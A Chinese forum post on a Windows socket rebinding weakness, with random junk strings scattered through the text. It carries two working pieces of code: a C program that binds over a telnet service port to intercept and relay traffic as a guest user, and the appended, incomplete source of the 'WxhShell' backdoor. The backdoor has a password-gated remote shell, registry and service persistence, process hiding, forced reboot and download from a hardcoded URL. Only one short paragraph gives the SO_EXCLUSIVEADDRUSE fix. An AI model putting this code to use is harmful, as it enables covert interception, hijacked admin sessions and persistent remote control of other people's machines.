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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: wDal5GJp  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "c%0P"u  
7rc0yB  
  saddr.sin_family = AF_INET; _Xe>V0   
Tztu}t]N  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); LM<qT-/qs  
J?"B%B5c  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -A^_{4X  
UNu#(nP  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 & p  
NvceYKp:  
  这意味着什么?意味着可以进行如下的攻击: V1N3iI  
u5`u>.!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6,8h]?u.  
X:"i4i[}{9  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) l`lk-nb  
].w4$OJ?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 M6 "PX *K  
#4 <SAgq  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ]g3JZF-  
y&$A+peJ1  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {H>gtpVy  
%v M-mbX  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 K<3A1'_  
J/y83@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 L\J;J%fz.  
EeE7#$l  
  #include e'NJnPO  
  #include 8b& /k8i:  
  #include ZPLm]I\]  
  #include    e8a+2.!&\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   vH@ds k  
  int main() =4YhG;%  
  { Rsm^Z!sn  
  WORD wVersionRequested; Jq-]7N%k/  
  DWORD ret; 3qC}0CP*  
  WSADATA wsaData; W:2( .?  
  BOOL val; ~,Zc%s~|  
  SOCKADDR_IN saddr; Tx# Mn~xD  
  SOCKADDR_IN scaddr; eF$x1|  
  int err; .W%)*&WH\  
  SOCKET s; "%w u2%i  
  SOCKET sc; tXs\R(?T  
  int caddsize; BL }\D;+t  
  HANDLE mt; H/ HMm{4  
  DWORD tid;   )m T<MkP  
  wVersionRequested = MAKEWORD( 2, 2 ); ""G'rN_=Bi  
  err = WSAStartup( wVersionRequested, &wsaData ); K($Npuu]  
  if ( err != 0 ) { Ffz,J6b  
  printf("error!WSAStartup failed!\n"); +~$ ]} %  
  return -1; )Nw8O{\  
  } j</: WRA`]  
  saddr.sin_family = AF_INET; .|70;  
   Xc-'Y"}|`t  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #=A)XlZMd  
XNkn|q2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); vpr.Hn  
  saddr.sin_port = htons(23); F^;ez/Gl  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R__OP`!  
  { ^6V[=!& H  
  printf("error!socket failed!\n"); ;*Et[}3  
  return -1; db7B^|Di  
  } ",; H`V  
  val = TRUE; 'zTLl8P  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Ve; n}mJ?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $%#!bV  
  { }Zn}  
  printf("error!setsockopt failed!\n"); sDlO#  
  return -1; p_%Rt"!  
  } %7.30CA|#  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; H<,gU`&R  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9W2Vo [(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ggR.4&<  
?Z/V~,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) xi}skA  
  { @*( (1(q  
  ret=GetLastError(); oap4rHk}  
  printf("error!bind failed!\n"); -FaJ^CN~  
  return -1; e(t\g^X  
  } LZY"3Jn[nQ  
  listen(s,2); zQd 2  
  while(1) 1mG-}  
  { %* }(}~  
  caddsize = sizeof(scaddr); @\#td5'  
  //接受连接请求 _w +Qy.  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); eng'X-x  
  if(sc!=INVALID_SOCKET) [{,1=AB  
  { m9rp8r*e  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0@oJFJrO  
  if(mt==NULL) $xN|5;+  
  { &D*b|ilvc  
  printf("Thread Creat Failed!\n"); oCz/HQoBk  
  break; .?$gpM?i  
  } k9L;!TH~1K  
  } Ysv" 6b}  
  CloseHandle(mt); i9x+A/ o[  
  } >z@0.pN]7  
  closesocket(s); _oeS Uzq.  
  WSACleanup(); oOFVb5qoFU  
  return 0; I; rGD^  
  }   jmZI7?<z  
  DWORD WINAPI ClientThread(LPVOID lpParam) S?2>Er  
  { + {'.7#  
  SOCKET ss = (SOCKET)lpParam; oEpFuWp%A  
  SOCKET sc; tKXIk9e  
  unsigned char buf[4096]; X"%gQ.1|{j  
  SOCKADDR_IN saddr; X"eYK/7  
  long num; vnuN6M{  
  DWORD val; 3=oDQ&UFt  
  DWORD ret; sRb9`u =)  
  //如果是隐藏端口应用的话,可以在此处加一些判断 c7H^$_^=  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ZbKg~jdF  
  saddr.sin_family = AF_INET; 'LDQgC*%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7b+6%fV  
  saddr.sin_port = htons(23); P]C<U aW'!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d&>^&>?$zh  
  { %8v\FS  
  printf("error!socket failed!\n"); [dz _R  
  return -1; MF'JeM;H  
  } ftSW (og  
  val = 100; "#g}ve,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )boE/4  
  { ~wdGd+ez  
  ret = GetLastError(); M"L=L5OH-  
  return -1; CTmT@A{  
  } 1|:KQl2q  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0=$T\(0g  
  { 1xvu<|F  
  ret = GetLastError(); yB!dp;gM{  
  return -1; BTxrp  
  } `WS&rmq&'  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |N]XJ)?  
  { noj0F::m`j  
  printf("error!socket connect failed!\n"); dc'Y `e  
  closesocket(sc); k}rbim  
  closesocket(ss); P$,Ke<  
  return -1; n=q 76W\  
  } ~V6D<  
  while(1) ia? c0xL  
  { fV~[;e;U.  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 LR3*G7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0*v2y*2V  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 J .%IfN  
  num = recv(ss,buf,4096,0); /mZE/>&~ ,  
  if(num>0) 2Khv>#l  
  send(sc,buf,num,0); 5lum$5  
  else if(num==0) Uw:"n]G]D?  
  break; .RL=xb|[  
  num = recv(sc,buf,4096,0); 9tnD=A<PS  
  if(num>0) ;FEqe 49  
  send(ss,buf,num,0); moE2G?R  
  else if(num==0) ptaKf4P^r  
  break; Vt ohL+  
  } 6dYMwMH  
  closesocket(ss); y)<q /  
  closesocket(sc); e}W)LPR!  
  return 0 ; w2'5#`m  
  } oL<St$1  
"gwSJ~:ds  
2Z%O7V~u  
========================================================== ss-D(K"  
yCo.cd-  
下边附上一个代码,,WXhSHELL 8b=_Y;  
f *)Z)6E  
==========================================================  =BrRYA  
F:ELPs4"  
#include "stdafx.h" FiU#T.`9'  
#A.@i+Zv  
#include <stdio.h> M3Kfd  
#include <string.h> 13 wE"-  
#include <windows.h> ,z?':TZ  
#include <winsock2.h> IGN1gs  
#include <winsvc.h> PI<vxjOK`  
#include <urlmon.h> wA.\i  
yLcE X  
#pragma comment (lib, "Ws2_32.lib") dqAw5[qMJ  
#pragma comment (lib, "urlmon.lib") Ap !lQ>p  
u=yOu^={  
#define MAX_USER   100 // 最大客户端连接数 L0]_X#s>#  
#define BUF_SOCK   200 // sock buffer ItCv.yv35  
#define KEY_BUFF   255 // 输入 buffer azU"G(6y?+  
?fS9J  
#define REBOOT     0   // 重启 8XbT`y  
#define SHUTDOWN   1   // 关机 y> (w\K9W  
!o-@&q  
#define DEF_PORT   5000 // 监听端口 d!{r  v  
y?!"6t7&  
#define REG_LEN     16   // 注册表键长度 Q=:|R3U/  
#define SVC_LEN     80   // NT服务名长度 CQ2jP G*py  
Aa]"   
// 从dll定义API ]R? 4{t4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @|)Z"m7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zn(PI3+]!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )CyS#j#=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); GJUL$9  
ZG@q`<:j  
// wxhshell配置信息 3mni>*q7d  
struct WSCFG { iR0y"Cii  
  int ws_port;         // 监听端口 ,2)6s\]/b  
  char ws_passstr[REG_LEN]; // 口令 XZwK6F)L  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q7A MRrN  
  char ws_regname[REG_LEN]; // 注册表键名 ,=N.FS  
  char ws_svcname[REG_LEN]; // 服务名 S@sO;-^+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kNL\m[W8$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 iyog`s c  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _tXlF;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l@:0e]8|o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hpJ-r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &VcV$8k  
[trwBZ^D~  
}; K4);HJ|=  
[fIg{Q  
// default Wxhshell configuration 2:=  
struct WSCFG wscfg={DEF_PORT, 9)=ctoZ'  
    "xuhuanlingzhe", {}Za_(Y,]  
    1, t()c=8qF|u  
    "Wxhshell", ?0,Ngrbe  
    "Wxhshell",  rXU\  
            "WxhShell Service", e~':(/%|5;  
    "Wrsky Windows CmdShell Service", 5 u0HI  
    "Please Input Your Password: ", BF<ikilR  
  1, I!?}jo3  
  "http://www.wrsky.com/wxhshell.exe", z$xo$R(  
  "Wxhshell.exe" >dG[G>  
    }; tnG# IU *  
k@:%:Sj 2  
// 消息定义模块 w1DV\Ap*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0K2`-mL  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ""|Qtubv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; m%e68c  
char *msg_ws_ext="\n\rExit."; ;d9QAN&0}  
char *msg_ws_end="\n\rQuit."; Wiu"k%Qsh  
char *msg_ws_boot="\n\rReboot..."; #YOA`m,'  
char *msg_ws_poff="\n\rShutdown..."; uR r o?m<  
char *msg_ws_down="\n\rSave to "; |H+Wed|  
J9[r|`gJ(  
char *msg_ws_err="\n\rErr!"; Y.r+wc]  
char *msg_ws_ok="\n\rOK!"; ( ICd}  
9 |vLwQ  
char ExeFile[MAX_PATH]; ^]-6u:J!  
int nUser = 0; {jX2}  
HANDLE handles[MAX_USER]; q%?in+l  
int OsIsNt; cpJ|w3x B  
Hg$lXtn]  
SERVICE_STATUS       serviceStatus; ]wG{!0pl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R!N%o~C2-  
<yFu*(Q  
// 函数声明  'CkIz"Wd  
int Install(void); $'hEz/  
int Uninstall(void); n#OB%@]<V  
int DownloadFile(char *sURL, SOCKET wsh); %Qdn  
int Boot(int flag); 1^(ad;BC y  
void HideProc(void); R[x_j  
int GetOsVer(void); 3x'|]Ns  
int Wxhshell(SOCKET wsl); ,>mrPtxN  
void TalkWithClient(void *cs); h{HHLR  
int CmdShell(SOCKET sock); lv+TD!b   
int StartFromService(void); @7j AL-  
int StartWxhshell(LPSTR lpCmdLine); @wNG{Stj  
cP_.&!T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [}0haTYc4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W+ko q*P  
dvJ M6W>^=  
// 数据结构和表定义 }oGA-Qc}B  
SERVICE_TABLE_ENTRY DispatchTable[] = 6.nCV 0xA  
{ X))/ m[_[  
{wscfg.ws_svcname, NTServiceMain}, ]>nk"K!%  
{NULL, NULL} f5VLw`m}.8  
}; sZ/v^ xk  
{go;C}  
// 自我安装 '=8d?aeF  
int Install(void) Lhb35;\  
{ JNXq.;:`Q  
  char svExeFile[MAX_PATH]; /zVOK4BqN+  
  HKEY key; WX|`1b  
  strcpy(svExeFile,ExeFile); ]tRu2Ygf  
;LSANr&  
// 如果是win9x系统,修改注册表设为自启动 +V046goX W  
if(!OsIsNt) { 62o:,IcoG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E GU 0)<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =BAW[%1b  
  RegCloseKey(key); Tc`=f'pP)4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f=gW]x7'R+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k(7&N0V%zz  
  RegCloseKey(key); 'RYIW/a  
  return 0; gS]@I0y8 .  
    } 4`]^@"{  
  } `l){!rg8IC  
} ^{;oM^Q'  
else { e95Lo+:f  
?u=Fj_N_  
// 如果是NT以上系统,安装为系统服务 `WFw3TI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); suiS&$-E  
if (schSCManager!=0) (G4at2YLd  
{ O{G?;H$  
  SC_HANDLE schService = CreateService BmMGx8P  
  ( u jq=F  
  schSCManager, O/a4]r+_  
  wscfg.ws_svcname, +LZLy9iKt  
  wscfg.ws_svcdisp, g:D>.lKd  
  SERVICE_ALL_ACCESS, E }Z/*lX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a#y;dK  
  SERVICE_AUTO_START, [-k  
  SERVICE_ERROR_NORMAL, LW'D?p#  
  svExeFile, Qu"\wE^.`  
  NULL, E+R1 !.  
  NULL, %x{kc3PnO  
  NULL, 2U\u4N O{  
  NULL, ;F!5%}OcL%  
  NULL w QH<gJE/:  
  ); k,E{C{^M  
  if (schService!=0) 2"kLdD  
  { bv9i*]  
  CloseServiceHandle(schService); ?U5{Wa85D  
  CloseServiceHandle(schSCManager); { MSkHf=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); '}JhzKNj  
  strcat(svExeFile,wscfg.ws_svcname); %C'?@,7C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _8riUt  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o"Euwh!!  
  RegCloseKey(key); ^aMg/.j  
  return 0; }QcCS2)Ud  
    } .TR9975  
  } gsv uE  
  CloseServiceHandle(schSCManager); D},>mfzF  
} /vde2.|  
} HU }7zK2  
m )zUU  
return 1; \oXpi$  
} k\YG^I  
5C*Pd Wpl  
// 自我卸载 eV"h0_ox  
int Uninstall(void) ia~HQ$'+n  
{ *@r/5pM2}  
  HKEY key; Ovt.!8  
WZejp}x  
if(!OsIsNt) { f ue(UMF~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _476pZ_  
  RegDeleteValue(key,wscfg.ws_regname); yZ(zdM\/sL  
  RegCloseKey(key); p8H'{f\G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =:,g  
  RegDeleteValue(key,wscfg.ws_regname); }b"yU#`Q\  
  RegCloseKey(key); +I:Unp  
  return 0; N1S{suic  
  } KKPh~ThC  
} `$<.pOm  
} Lpz>>}  
else { Yty/3T3)e  
eIEeb,#i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]G= L=D^cK  
if (schSCManager!=0) <QAFL uey  
{ >`mVY=H i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F>6|3bOR  
  if (schService!=0) ~ 'H ]jN  
  { 8f 4b&ah  
  if(DeleteService(schService)!=0) { L>NL:68yN  
  CloseServiceHandle(schService); n)e 6>R ;  
  CloseServiceHandle(schSCManager); qzLPw*;  
  return 0; D~iz+{Q4  
  } v2\FA(BPn  
  CloseServiceHandle(schService); q[ZTHd.-  
  } rgv?gaQ>  
  CloseServiceHandle(schSCManager); w"|L:8  
} Z'W =\rl  
} *3FKt&v 0  
t%FwXaO#  
return 1; $am$ EU?s  
} "5!oi]@>(  
%y[h5*y*  
// 从指定url下载文件 {.|CdqwY  
int DownloadFile(char *sURL, SOCKET wsh) '<xXK@=KEI  
{ 1Z2HUzqh.  
  HRESULT hr; RFcv^Xf  
char seps[]= "/"; c )g\/  
char *token; su( 1<S}  
char *file; \fd v]f  
char myURL[MAX_PATH]; $dC?Tl|B0  
char myFILE[MAX_PATH]; fu ,}1Mq#  
1{. |+S Z!  
strcpy(myURL,sURL); ~P,lz!he_  
  token=strtok(myURL,seps); ]Sz:|%JP1  
  while(token!=NULL) IdYt\^@>  
  { yYYSeH  
    file=token; ?4&e;83_#y  
  token=strtok(NULL,seps); T/~f~Zz  
  } $6 9&O  
-20bPiM$A  
GetCurrentDirectory(MAX_PATH,myFILE); h"Q8b}$^)  
strcat(myFILE, "\\");  `25yE/  
strcat(myFILE, file); _Y4` xv0/  
  send(wsh,myFILE,strlen(myFILE),0); 3M7/?TMw{6  
send(wsh,"...",3,0); WDD%Q8ejV&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); O+]ZyHnB  
  if(hr==S_OK) 783,s_  
return 0; $GcqBg-Hi  
else @n /nH?L  
return 1; :\c ^*K(9  
9:|{6_Y  
} P|E| $)m  
`UaD6Mc<Mz  
// 系统电源模块 @Uvz8*b6  
int Boot(int flag) %)1?TU  
{ ,R\ \%  
  HANDLE hToken; [ l??A3G  
  TOKEN_PRIVILEGES tkp; P3=G1=47U  
_D&598xx  
  if(OsIsNt) { k]|~>9eY]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yx[/|nZDC4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gZXi]m&  
    tkp.PrivilegeCount = 1; o:'MpKm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Pmx -8w  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WE#^a6  
if(flag==REBOOT) { ^uc=f2=>,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T&bY a`f]  
  return 0; h,N?Ab'S  
} _;y9$"A  
else { ]s'as9s9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) RbnVL$c  
  return 0; jB2[(  
} ,ZNq,$j  
  } |wMN}bq|T  
  else { F/{!tx  
if(flag==REBOOT) { ?l{nk5,?-Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2]*OQb#O6e  
  return 0; zC!t;*8a  
} "&u@d~`-n  
else { Bsvr?|L\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U7F!Z( 9  
  return 0; .`eN8Dl1  
} C< tl/NC  
} CAhXQ7w'Z  
2%m BK  
return 1; _V6ukd"B~  
} ouQ T  
p6V0`5@t  
// win9x进程隐藏模块 g3y~bf  
void HideProc(void) {!L~@r  
{ XpHrt XD  
k y7Gwc  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N4!O.POP  
  if ( hKernel != NULL ) F$]Pk|,  
  { S,UDezxg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <]2wn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q1 97mN+0  
    FreeLibrary(hKernel); g) jYFfGfH  
  } ^09,"<@k  
W|mo5qrLS2  
return; 0GeTS Fj  
} g2_"zDiw2  
f]CXu3w(J  
// 获取操作系统版本 y<Ot)fa$  
int GetOsVer(void) m{HS0l'  
{ zrb}_  
  OSVERSIONINFO winfo; NBGH_6DROw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); + ePS14G  
  GetVersionEx(&winfo); S,he6zS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F)eelPZ+,  
  return 1; %'pgGC"|  
  else a:w#s}bL  
  return 0; (GfZ*  
} ' `Hr}  
Dlvz )  
// 客户端句柄模块 ym1Y4,  
int Wxhshell(SOCKET wsl) \9T7A&  
{ <e6#lFQqK  
  SOCKET wsh; j3Y['xDv  
  struct sockaddr_in client; 0g8NHkM:2a  
  DWORD myID; % pCTN P  
+ZP7{%  
  while(nUser<MAX_USER) 5{,<j\#L  
{ ef4 i:.  
  int nSize=sizeof(client); $ I?"lky  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $XH^~i;  
  if(wsh==INVALID_SOCKET) return 1; V0mn4sfs  
$6IJ P\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q"#J6@  
if(handles[nUser]==0) (TM,V!G+U~  
  closesocket(wsh); f$QNg0v  
else !&E-}}<  
  nUser++; _Fg5A7or  
  } *o ix6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J'r^/  
H\[W/"  
  return 0; Tid aa  
} u*9V&>o  
Xch~ 1K  
// 关闭 socket 6Kz,{F@  
void CloseIt(SOCKET wsh) tZo} ;|~'  
{ @C aG9]  
closesocket(wsh); klhtKp_p  
nUser--; TA~{1_l  
ExitThread(0); ,/unhfs1q  
} q@2siI~W  
}Y4qS  
// 客户端请求句柄 gBD]}vo-  
void TalkWithClient(void *cs) <OPArht  
{ `M6)f?|$.  
w4Z'K&d=  
  SOCKET wsh=(SOCKET)cs; 1h5 Akq  
  char pwd[SVC_LEN]; apxph2yvS  
  char cmd[KEY_BUFF]; P!k{u^$L  
char chr[1]; FVBYo%Ap  
int i,j; A+{VGP^  
8dhUBJ0_  
  while (nUser < MAX_USER) { ;A[Q2(w+  
%8x#rohP  
if(wscfg.ws_passstr) { ? =+WRjF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a[TMDU;(/4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &kw@,];4Z  
  //ZeroMemory(pwd,KEY_BUFF); T[A 69O]v  
      i=0; Wm5 dk9&x  
  while(i<SVC_LEN) { ct}9i"H#1  
E4xa[iZ  
  // 设置超时 gZ1?G-Q  
  fd_set FdRead; Y nZiT e@  
  struct timeval TimeOut; <0?W{3NqI  
  FD_ZERO(&FdRead); SX-iAS[<  
  FD_SET(wsh,&FdRead); ;*&-C9b  
  TimeOut.tv_sec=8; ,7b[!#?8  
  TimeOut.tv_usec=0; #3d(M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wlmRe`R  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t0 ?\l)  
N}YkMJy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {1 94!S4z  
  pwd=chr[0]; >lM l  
  if(chr[0]==0xd || chr[0]==0xa) { 8HdAFRw  
  pwd=0; Om {'1  
  break; b>9>uC@J15  
  } >yh2Lri  
  i++; HUOj0T  
    } ~^b/(  
N)>ID(}F1  
  // 如果是非法用户,关闭 socket wH6aAV~1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xAP+FWyV  
} 5rUdv}.  
=E{`^IT'R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6\S~P/PkE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sUm'  
1g~R/*Jo  
while(1) { s(roJbJ_;  
D7qOZlX16  
  ZeroMemory(cmd,KEY_BUFF); 5ms(Wd  
FNId ;  
      // 自动支持客户端 telnet标准   d*Fj3Wkx  
  j=0; !$>R j  
  while(j<KEY_BUFF) { 9 JK Ew  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5i{j' {_(8  
  cmd[j]=chr[0]; y L~W.H  
  if(chr[0]==0xa || chr[0]==0xd) { gbagi+8s`%  
  cmd[j]=0; `pZm?}K  
  break; Q.c\/&  
  } $7A8/#  
  j++; *G 9V'9  
    } S`m]f5u|  
GNJj=1Lsd  
  // 下载文件 %GIr&V4|  
  if(strstr(cmd,"http://")) { K,:N   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $a ` G  
  if(DownloadFile(cmd,wsh)) SOvF[,+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tIS<U(N ;  
  else Ef13Q]9|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ',5 ky{  
  } 1hNq8*|  
  else { |)/aGZ+  
KdbHyg<4  
    switch(cmd[0]) { t#eTV@-  
  6Sn.I1Wy  
  // 帮助 zT?D<XW>1  
  case '?': { P J[`|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I ?.^ho  
    break; ^&Y#)II  
  } 4#hSJ(~7S  
  // 安装 pIKPXqA  
  case 'i': { r^ ZEImjc  
    if(Install()) GF=g<H M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mBON$sF|  
    else OprkR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YQA ,f#  
    break; S#} KIy  
    } |*tp16+6  
  // 卸载 {h`uV/5@`  
  case 'r': { 2*#|Nj=^  
    if(Uninstall()) !0mI;~q|F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $z*'fXg  
    else mUF,@>o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f^XOUh  
    break; -4_$ln w$  
    } Z!X0U7& U  
  // 显示 wxhshell 所在路径 PBkt~=j  
  case 'p': { vTw>JNVI  
    char svExeFile[MAX_PATH]; \.#>=!Ie  
    strcpy(svExeFile,"\n\r"); j]/RC(;?  
      strcat(svExeFile,ExeFile); 8StgsM  
        send(wsh,svExeFile,strlen(svExeFile),0); #],&>n7'  
    break; pr UM-u8  
    } I83<r9  
  // 重启 t" Z6[XG  
  case 'b': { l3F6AlPql  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XFV!S#yEZ  
    if(Boot(REBOOT)) $aXer:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $,Yd>%Y  
    else { xbYi.  
    closesocket(wsh); Whf.fK  
    ExitThread(0); ysf~|r4s  
    } ?zHPJLv|Y  
    break; %UCr;H/  
    } )+t0:GwP`:  
  // 关机 Lrq .Ab#  
  case 'd': { rFYWs6  
